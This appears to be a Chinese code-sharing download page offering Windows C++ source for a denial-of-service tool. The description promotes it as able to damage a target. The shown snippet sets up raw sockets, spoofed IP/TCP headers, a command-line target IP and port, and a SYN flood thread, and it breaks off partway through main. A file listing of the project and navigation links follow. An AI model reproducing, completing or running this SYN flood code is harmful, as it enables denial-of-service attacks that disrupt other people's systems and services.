資源簡介
Dos攻擊,及拒絕服務攻擊,此攻擊可以實現對對方的破壞,代碼清晰。

代碼片段和文件信息
/*****************************/
/*?Thanks?to?Author?LionD8???*/
#include?“stdio.h“
#include?“winsock2.h“
#include?“windows.h“
#include?
#include?“wchar.h“
#pragma?comment(lib?“ws2_32.lib“)
#define?SIO_RCVALL??????_WSAIOW(IOC_VENDOR1)
char*????TargetIP;?//?目標機IP
USHORT????TargetPort;?//?目標端口
USHORT????StartPort?=?1;?//?起始端口
int????????Interval;?//?發包時間間隔
UCHAR*?outflowbuf?=?NULL;????//??選項字節
char*?psend?=?NULL;?//?偽造數據
DWORD?len?=?0;?//?偽造數據長度
USHORT?optlen=?0;?//?選項字節長度
//?定義IP首部格式
typedef?struct?_IPHeader??????
{?
????unsigned?char?h_verlen;????//?版本和首部長度??
????unsigned?char?tos;?????????//?服務類型???????
????unsigned?short?total_len;??//?總長度?
????unsigned?short?ident;??????//?標識號?????
????unsigned?short?frag_and_flags;??//?段偏移量
????unsigned?char?ttl;?????????//?生存時間???????
????unsigned?char?proto;???????//?協議???
????unsigned?short?checksum;???//?首部校驗和
????unsigned?int?sourceIP;?????//?源IP地址??
????unsigned?int?destIP;???????//?目的地址???
}IPHEADER;
//?定義TCP首部格式
typedef?struct?_TCPHeader?
{?
????USHORT?th_sport;??//?源端口號????????
????USHORT?th_dport;??//?目的端口號???????
????unsigned?int?th_seq;??//?SEQ序號????
????unsigned?int?th_ack;??//?ACK序號
????unsigned?char?th_lenres;??//??首部長度????
????unsigned?char?th_flag;???//?控制位??
????USHORT?th_win;??//?窗口大小????????
????USHORT?th_sum;??//?校驗和????????
????USHORT?th_urp;??//?緊急指針?????????
}TCPHEADER;?
//?定義偽首部格式
typedef?struct?_PSDHeader
{?
????unsigned?long?saddr;??//?源地址??
????unsigned?long?daddr;??//?目的地址?
????char?mbz;?
????char?ptcl;????????????//?協議類型???
????unsigned?short?tcpl;??//?TCP長度
}PSDHEADER;
//?定義攻擊目標結構
typedef?struct?_AttackObj
{
????DWORD????dwIP;?//?目標機IP
????USHORT????uAttackPort[11];?//?目標機端口?
????struct?_AttackObj*????Next;?
}ATOBJ;
ATOBJ*????ListAttackObj=0;
//?初始化原始套接字
BOOL????InitRawSocket();
//?獲取本地IP地址
DWORD????GetLocalIP();
//?計算校驗和
USHORT????checksum(USHORT?*buffer?int?size);
//?發送SYN洪水攻擊
DWORD????WINAPI??SYNThreadFlood(LPVOID?lp);
//?發送數據
void????SendData(DWORD?SEQ?DWORD?ACK?
?USHORT?SPort?USHORT?APort?
?DWORD?SIP?DWORD?AIP?char*?pBuf
?BOOL?IsdataDWORD?dwSize);
//?監聽端口功能
DWORD???WINAPI??ListeningFunc(LPVOID?lpvoid);
//?轉換成選項字節
void?ConvertOpt?(CHAR*?pu);
SOCKET?sock?=?NULL;
int?main(int?argc?char*?argv[])
{
????psend?=?(char*)malloc(800);
????memset(psend0x38799);
????psend[799]?=?0;
????len?=?strlen(psend);
????if?(?argc?3)
????{
????????printf(“input?error!\n“);
????????return?-1;
????}
//?獲取目標機IP
????TargetIP?=?strdup(argv[1]);
????TargetPort?=?atoi(argv[2]);
????//?定義攻擊字符串
????
????if?(?argc?==?3)
????????Interval?=?100;?//?默認發包間隔
????if?(?argc?==?4)
????{???//?獲取發包間隔參數
????????Interval?=?atoi(argv[3]);
????}
CHAR*?optbuftemp?=?“020405B401010402“;????
????ConvertOpt?(optbuftemp);?//?轉換溢出字符串
????outflowbuf[3]-=1;
????char?HostName[255]={0};
//?初始化原始套接字
????if?(?InitRawSocket()?==?FALSE?)
????????return?-1;
????if?(?
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件??????15657??2006-12-22?00:19??DoS\DoS.cpp
?????文件???????4248??2006-12-20?23:14??DoS\DoS.dsp
?????文件????????531??2006-12-20?22:28??DoS\DoS.dsw
?????文件??????50176??2006-12-22?01:02??DoS\DoS.ncb
?????文件??????53760??2006-12-22?01:02??DoS\DoS.opt
?????文件????????765??2006-12-22?00:19??DoS\DoS.plg
?????目錄??????????0??2007-08-10?09:47??DoS
-----------?---------??----------?-----??----
???????????????125137????????????????????7
- 上一篇:C語言連接mysql,實現通訊錄功能
- 下一篇:c++連通區域標記 算法
評論
共有 條評論